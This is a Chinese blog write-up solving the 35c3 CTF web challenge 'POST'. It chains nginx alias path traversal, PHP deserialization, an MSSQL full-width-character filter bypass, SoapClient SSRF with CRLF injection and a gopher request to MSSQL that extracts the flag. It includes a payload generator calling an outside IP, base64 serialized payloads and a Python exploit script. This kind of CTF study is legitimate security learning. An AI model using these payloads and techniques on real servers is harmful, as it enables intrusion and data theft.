Hu3sky's blog

35c3-POST 学习

Word count: 1,124 / Reading time: 6 min
2019/02/14 Share

35c3-POST 学习

docker环境:https://github.com/eboda/35c3/tree/master/post

本题3个hint

1
2
3
4
5
6

Hint: flag is in db

Hint2: the lovely XSS is part of the beautiful design and insignificant for the challenge

Hint3: You probably want to get the source code, luckily for you it's rather hard to configure nginx correctly.

nginx配置

先扫一发目录
1
扫出两个目录。一个inc目录,一个uploads目录
于是都测试一发nginx配置问题
1
在uploads发现目录穿越
1
下载default.backup
为nginx配置文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
server {
listen 80;
access_log /var/log/nginx/example.log;

server_name localhost;

root /var/www/html;

location /uploads {
autoindex on;
alias /var/www/uploads/;
}

location / {
alias /var/www/html/;
index index.php;

location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php7.2-fpm.sock;
}
}

location /inc/ {
deny all;
}
}

server {
listen 127.0.0.1:8080;
access_log /var/log/nginx/proxy.log;

if ( $request_method !~ ^(GET)$ ) {
return 405;
}
root /var/www/miniProxy;
location / {
index index.php;

location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php7.2-fpm.sock;
}
}

}

出现目录穿越的代码

1
2
3
4
location /uploads {
autoindex on;
alias /var/www/uploads/;
}

正确的应该是location /uploads/

任意类的反序列化

1
2
文件:inc\db.php:33
方法:retrieve_values

此处存在一个反序列化操作
1
在query方法中调用了该retrieve_values函数
1
但是需要满足一个正则

1
2
3
return preg_match('/^\$serializedobject\$/i', $x) ?
unserialize(substr($x, 18)) : $x;
}, $row);

需要以$serializedobject$开头
但是在inset数据库插入中,进行了判断

1
2
if (preg_match('/^\$serializedobject\$/i', $x)) {
die("invalid data");

如果匹配到$serializedobject$开头,则视为invalid data
这里需要用到mssql里的一个特性

1
2
3
MSSQL converts full-width unicode characters to their ASCII representation. For example, if a string contains 0xEF 0xBC 0x84, it will be stored as $.

MSSQL会自动将全角unicode字符转换为ASCII表示形式

即unicode \uFF04
这样就可以实现插入时成功插入$serializedobject$,查询时反序列化以$serializedobject$开头的

利用SoapClient类

1
2
文件:inc\post.php:16
方法:__toString

代码

1
2
3
4
5
6
7
8
9
10
11
class Attachment {
private $za = NULL;
...//省略
public function __toString() {
$str = "<a href='{$this->url}'>".basename($this->url)."</a> ($this->mime ";
if (!is_null($this->za)) {
$this->za->open("../".$this->url);
$str .= "with ".$this->za->numFiles . " Files.";
}
return $str. ")";
}

za可控,此时如果za是Soapclient类,调用open函数时,不存在,就会触发SoapClient我们所构造的SSRF

如何触发

1
文件: /inc/default.php:18

1
此处title,content 可控
在POST类中 post方法里
1
先将带有$serializedobject$的insert进数据库,接着看到

1
文件:default.php:73

1
调用了loadall
1
进行了query查询,此时就会进行反序列化
再看default.php,查询完后有
1
echo,触发Post类的__toString,
1
而content是带有SoapClient类的,也就可以触发SoapClient类的SSRF

构造payload

1
2
3
4
5
6
7
8
9
10
11
<?php
class Attachment {
private $za = NULL;
public function __construct() {
$this->za = new SoapClient(null,array('location'=>'http://52.36.15.23:12345','uri'=>'hu3sky'));
}
}

$a = new Attachment();
$preg = '$serializedobject$';
echo $preg.serialize($a);

1

miniProxy gopher bypass

1
文件:miniProxy.php:291

1
检测是否是http协议或者https协议
1
如果是http协议,没有die,跟在后面,会判断http协议是否合法,不合法则进行重定向
schema为空,并且url不是以//开头的情况:
1
于是可以利用gopher协议绕过,比如传入
miniProxy.php?gopher:///db:1433//...
则会使用gopher重定向到1433 mssql上
miniProxy的配置文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
server {
    listen 127.0.0.1:8080;
    access_log /var/log/nginx/proxy.log;
 
    if ( $request_method !~ ^(GET)$ ) {
        return 405;
    }
    root /var/www/miniProxy;
    location / {
        index index.php;
 
        location ~ \.php$ {
            include snippets/fastcgi-php.conf;
            fastcgi_pass unix:/run/php/php7.2-fpm.sock;
        }
    }
}

只能接收GET请求,但是SoapClient发起的请求是POST的,于是需要用到SoapClient的user_agentCRLF。

gopher attack mssql

在db.php发现用户名密码

1
DB::$con = sqlsrv_connect("db", array("pwd"=> "Foobar1!", "uid"=>"challenger", "Database"=>"challenge"));

查看自己uid
1

利用官方exp生成gopher

1
2
3
λ php -f exploit.php "insert into posts (userid,title,content,attachment) values (1,"test",(select flag form `flag`),"b");-- -"

JHNlcmlhbGl6ZWRvYmplY3TvvIRPOjEwOiJBdHRhY2htZW50IjoxOntzOjI6InphIjtPOjEwOiJTb2FwQ2xpZW50IjozOntzOjM6InVyaSI7czozNToiaHR0cDovL2xvY2FsaG9zdDo4MDgwL21pbmlQcm94eS5waHAiO3M6ODoibG9jYXRpb24iO3M6MzU6Imh0dHA6Ly9sb2NhbGhvc3Q6ODA4MC9taW5pUHJveHkucGhwIjtzOjExOiJfdXNlcl9hZ2VudCI7czoxMzAzOiJBQUFBQUhhaGEKCkdFVCAvbWluaVByb3h5LnBocD9nb3BoZXI6Ly8vZGI6MTQzMy9BJTEyJTAxJTAwJTJGJTAwJTAwJTAxJTAwJTAwJTAwJTFBJTAwJTA2JTAxJTAwJTIwJTAwJTAxJTAyJTAwJTIxJTAwJTAxJTAzJTAwJTIyJTAwJTA0JTA0JTAwJTI2JTAwJTAxJUZGJTAwJTAwJTAwJTAxJTAwJTAxJTAyJTAwJTAwJTAwJTAwJTAwJTAwJTEwJTAxJTAwJURFJTAwJTAwJTAxJTAwJUQ2JTAwJTAwJTAwJTA0JTAwJTAwdCUwMCUxMCUwMCUwMCUwMCUwMCUwMCUwMFQwJTAwJTAwJTAwJTAwJTAwJTAwJUUwJTAwJTAwJTA4JUM0JUZGJUZGJUZGJTA5JTA0JTAwJTAwJTVFJTAwJTA3JTAwbCUwMCUwQSUwMCU4MCUwMCUwOCUwMCU5MCUwMCUwQSUwMCVBNCUwMCUwOSUwMCVCNiUwMCUwMCUwMCVCNiUwMCUwNyUwMCVDNCUwMCUwMCUwMCVDNCUwMCUwOSUwMCUwMSUwMiUwMyUwNCUwNSUwNiVENiUwMCUwMCUwMCVENiUwMCUwMCUwMCVENiUwMCUwMCUwMCUwMCUwMCUwMCUwMGElMDB3JTAwZSUwMHMlMDBvJTAwbSUwMGUlMDBjJTAwaCUwMGElMDBsJTAwbCUwMGUlMDBuJTAwZyUwMGUlMDByJTAwJUMxJUE1UyVBNVMlQTUlODMlQTUlQjMlQTUlODIlQTUlQjYlQTUlQjclQTVuJTAwbyUwMGQlMDBlJTAwLSUwMG0lMDBzJTAwcyUwMHElMDBsJTAwbCUwMG8lMDBjJTAwYSUwMGwlMDBoJTAwbyUwMHMlMDB0JTAwVCUwMGUlMDBkJTAwaSUwMG8lMDB1JTAwcyUwMGMlMDBoJTAwYSUwMGwlMDBsJTAwZSUwMG4lMDBnJTAwZSUwMCUwMSUwMSUwMCVFNiUwMCUwMCUwMSUwMCUxNiUwMCUwMCUwMCUxMiUwMCUwMCUwMCUwMiUwMCUwMCUwMCUwMCUwMCUwMCUwMCUwMCUwMCUwMSUwMCUwMCUwMGklMDBuJTAwcyUwMGUlMDByJTAwdCUwMCUyMCUwMGklMDBuJTAwdCUwMG8lMDAlMjAlMDAlMjglMDB1JTAwcyUwMGUlMDByJTAwaSUwMGQlMDAlMkMlMDB0JTAwaSUwMHQlMDBsJTAwZSUwMCUyQyUwMGMlMDBvJTAwbiUwMHQlMDBlJTAwbiUwMHQlMDAlMkMlMDBhJTAwdCUwMHQlMDBhJTAwYyUwMGglMDBtJTAwZSUwMG4lMDB0JTAwJTI5JTAwJTIwJTAwdiUwMGElMDBsJTAwdSUwMGUlMDBzJTAwJTIwJTAwJTI4JTAwMSUwMCUyQyUwMHQlMDBlJTAwcyUwMHQlMDAlMkMlMDAlMjglMDBzJTAwZSUwMGwlMDBlJTAwYyUwMHQlMDAlMjAlMDBmJTAwbCUwMGElMDBnJTAwJTIwJTAwZiUwMG8lMDByJTAwbSUwMCUyMCUwMCU2MCUwMGYlMDBsJTAwYSUwMGclMDAlNjAlMDAlMjklMDAlMkMlMDBiJTAwJTI5JTAwJTNCJTAwLSUwMC0lMDAlMjAlMDAtJTAwJTNCJTAwLSUwMC0lMDAlMjAlMDAtJTAwIEhUVFAvMS4xCkhvc3Q6IGxvY2FsaG9zdAoKIjt9fQ==

末尾加入– -是为了注释掉 \x0a\x0a gopher 自动添加的内容,不然 query 无法成功执行

然后写个脚本发送请求

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# -*- coding: utf-8 -*-
# @Time : 2019-2-14 10:33
# @Author : Hu3sky
# @FileName: exp.py
# @Software: Submie

import requests
import base64
url = "http://50.3.232.201:8000/"
r = requests.session()
url_login = "http://50.3.232.201:8000/?page=login"
#登陆
user = {
"username":"hu3sky",
"password":"hu3sky"
}
r.post(url=url_login,data=user)
url_post = "http://50.3.232.201:8000/?action=create"
payload = base64.b64decode("JHNlcmlhbGl6ZWRvYmplY3TvvIRPOjEwOiJBdHRhY2htZW50IjoxOntzOjI6InphIjtPOjEwOiJTb2FwQ2xpZW50IjozOntzOjM6InVyaSI7czozNToiaHR0cDovL2xvY2FsaG9zdDo4MDgwL21pbmlQcm94eS5waHAiO3M6ODoibG9jYXRpb24iO3M6MzU6Imh0dHA6Ly9sb2NhbGhvc3Q6ODA4MC9taW5pUHJveHkucGhwIjtzOjExOiJfdXNlcl9hZ2VudCI7czoxMzYxOiJBQUFBQUhhaGEKCkdFVCAvbWluaVByb3h5LnBocD9nb3BoZXI6Ly8vZGI6MTQzMy9BJTEyJTAxJTAwJTJGJTAwJTAwJTAxJTAwJTAwJTAwJTFBJTAwJTA2JTAxJTAwJTIwJTAwJTAxJTAyJTAwJTIxJTAwJTAxJTAzJTAwJTIyJTAwJTA0JTA0JTAwJTI2JTAwJTAxJUZGJTAwJTAwJTAwJTAxJTAwJTAxJTAyJTAwJTAwJTAwJTAwJTAwJTAwJTEwJTAxJTAwJURFJTAwJTAwJTAxJTAwJUQ2JTAwJTAwJTAwJTA0JTAwJTAwdCUwMCUxMCUwMCUwMCUwMCUwMCUwMCUwMFQwJTAwJTAwJTAwJTAwJTAwJTAwJUUwJTAwJTAwJTA4JUM0JUZGJUZGJUZGJTA5JTA0JTAwJTAwJTVFJTAwJTA3JTAwbCUwMCUwQSUwMCU4MCUwMCUwOCUwMCU5MCUwMCUwQSUwMCVBNCUwMCUwOSUwMCVCNiUwMCUwMCUwMCVCNiUwMCUwNyUwMCVDNCUwMCUwMCUwMCVDNCUwMCUwOSUwMCUwMSUwMiUwMyUwNCUwNSUwNiVENiUwMCUwMCUwMCVENiUwMCUwMCUwMCVENiUwMCUwMCUwMCUwMCUwMCUwMCUwMGElMDB3JTAwZSUwMHMlMDBvJTAwbSUwMGUlMDBjJTAwaCUwMGElMDBsJTAwbCUwMGUlMDBuJTAwZyUwMGUlMDByJTAwJUMxJUE1UyVBNVMlQTUlODMlQTUlQjMlQTUlODIlQTUlQjYlQTUlQjclQTVuJTAwbyUwMGQlMDBlJTAwLSUwMG0lMDBzJTAwcyUwMHElMDBsJTAwbCUwMG8lMDBjJTAwYSUwMGwlMDBoJTAwbyUwMHMlMDB0JTAwVCUwMGUlMDBkJTAwaSUwMG8lMDB1JTAwcyUwMGMlMDBoJTAwYSUwMGwlMDBsJTAwZSUwMG4lMDBnJTAwZSUwMCUwMSUwMSUwMSUwMCUwMCUwMCUwMSUwMCUxNiUwMCUwMCUwMCUxMiUwMCUwMCUwMCUwMiUwMCUwMCUwMCUwMCUwMCUwMCUwMCUwMCUwMCUwMSUwMCUwMCUwMGklMDBuJTAwcyUwMGUlMDByJTAwdCUwMCUyMCUwMGklMDBuJTAwdCUwMG8lMDAlMjAlMDBwJTAwbyUwMHMlMDB0JTAwcyUwMCUyMCUwMCUyOCUwMHUlMDBzJTAwZSUwMHIlMDBpJTAwZCUwMCUyQyUwMHQlMDBpJTAwdCUwMGwlMDBlJTAwJTJDJTAwYyUwMG8lMDBuJTAwdCUwMGUlMDBuJTAwdCUwMCUyQyUwMGElMDB0JTAwdCUwMGElMDBjJTAwaCUwMG0lMDBlJTAwbiUwMHQlMDAlMjklMDAlMjAlMDB2JTAwYSUwMGwlMDB1JTAwZSUwMHMlMDAlMjAlMDAlMjglMDAxJTAwJTJDJTAwJTIyJTAwdCUwMGUlMDBzJTAwdCUwMCUyMiUwMCUyQyUwMCUyOCUwMHMlMDBlJTAwbCUwMGUlMDBjJTAwdCUwMCUyMCUwMGYlMDBsJTAwYSUwMGclMDAlMjAlMDBmJTAwbyUwMHIlMDBtJTAwJTIwJTAwZiUwMGwlMDBhJTAwZyUwMC4lMDBmJTAwbCUwMGElMDBnJTAwJTI5JTAwJTJDJTAwJTIyJTAwYiUwMCUyMiUwMCUyOSUwMCUzQiUwMC0lMDAtJTAwJTIwJTAwLSUwMCUzQiUwMC0lMDAtJTAwJTIwJTAwLSUwMCBIVFRQLzEuMQpIb3N0OiBsb2NhbGhvc3QKCiI7fX0=")
# print(payload)
post = {
"title":"test",
"content":payload
}
s = r.post(url=url_post,data=post)
print(s.text)
CATALOG
  1. 1. 35c3-POST 学习
    1. 1.1. nginx配置
    2. 1.2. 任意类的反序列化
      1. 1.2.1. 利用SoapClient类
      2. 1.2.2. 如何触发
      3. 1.2.3. 构造payload
    3. 1.3. miniProxy gopher bypass
    4. 1.4. gopher attack mssql